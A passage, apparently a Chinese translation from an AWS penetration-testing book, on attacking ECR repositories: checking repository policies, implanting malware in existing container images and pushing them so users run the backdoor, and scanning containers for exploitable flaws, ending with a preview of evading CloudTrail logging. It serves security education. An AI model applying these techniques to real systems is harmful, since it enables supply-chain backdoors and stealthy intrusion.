如果其中任何命令由于授权问题而失败,我们可以继续检查我们所针对的仓库相关的策略。这可以通过GetRepositoryPolicy命令来完成:
aws ecr get-repository-policy --repository-name example-repo --region us-west-2
如果尚未为存储库创建策略,则响应将是错误;否则,它将返回一个指定 AWS 主体可以针对存储库执行什么 ECR 命令的 JSON 策略文档。您可能会发现只有特定帐户或用户能够访问存储库,或者您可能会发现任何人都可以访问它(例如如果允许"*"主体)。
如果您有正确的对 ECR 的推送权限,另一个值得尝试的攻击是在现有图像中植入恶意软件,然后推送更新到存储库,这样任何使用该图像的人都将启动带有您的恶意软件运行的图像。根据目标在幕后使用的工作流程,如果操作正确,可能需要很长时间才能发现其图像中的此类后门。
如果您知道使用这些 Docker 图像部署的应用程序/服务,比如通过弹性容器服务(ECS),那么值得寻找您可能能够外部利用的容器内的漏洞,然后获得对这些服务器的访问权限。为了帮助解决这个问题,使用 Anchore Engine(github.com/anchore/anchore-engine)、Clair(github.com/coreos/clair)或其他许多在线可用工具对各种容器进行静态漏洞分析可能会很有用。这些扫描的结果可以帮助您识别可能能够利用的已知漏洞。
摘要
在攻击 AWS 环境时,重要的是要列出他们正在使用的 AWS 服务的明确清单,因为这可以让您更好地制定攻击计划。除此之外,重要的是要查看部署在所有这些服务上的配置和设置,以找到错误配置和滥用的功能,并希望将它们链接在一起以获得对环境的完全访问权限。
没有服务太小,不值得关注,因为如果您有与它们交互的权限,那么可能在每个 AWS 服务中都存在攻击向量。本章旨在展示一些对一些不太常见的 AWS 服务器的攻击(与 EC2、S3 等相比),并试图表明许多服务都有处理权限的策略文档,比如 SES 身份策略或 ECR 存储库策略。这些服务都可以通过错误配置的策略或通过自己更新来滥用。
在下一章中,我们将研究 CloudTrail,这是 AWS 的中央 API 日志记录服务。我们将看看如何安全地配置您的跟踪,并如何攻击它们作为渗透测试人员进行信息收集,并在试图保持低调时避免被记录。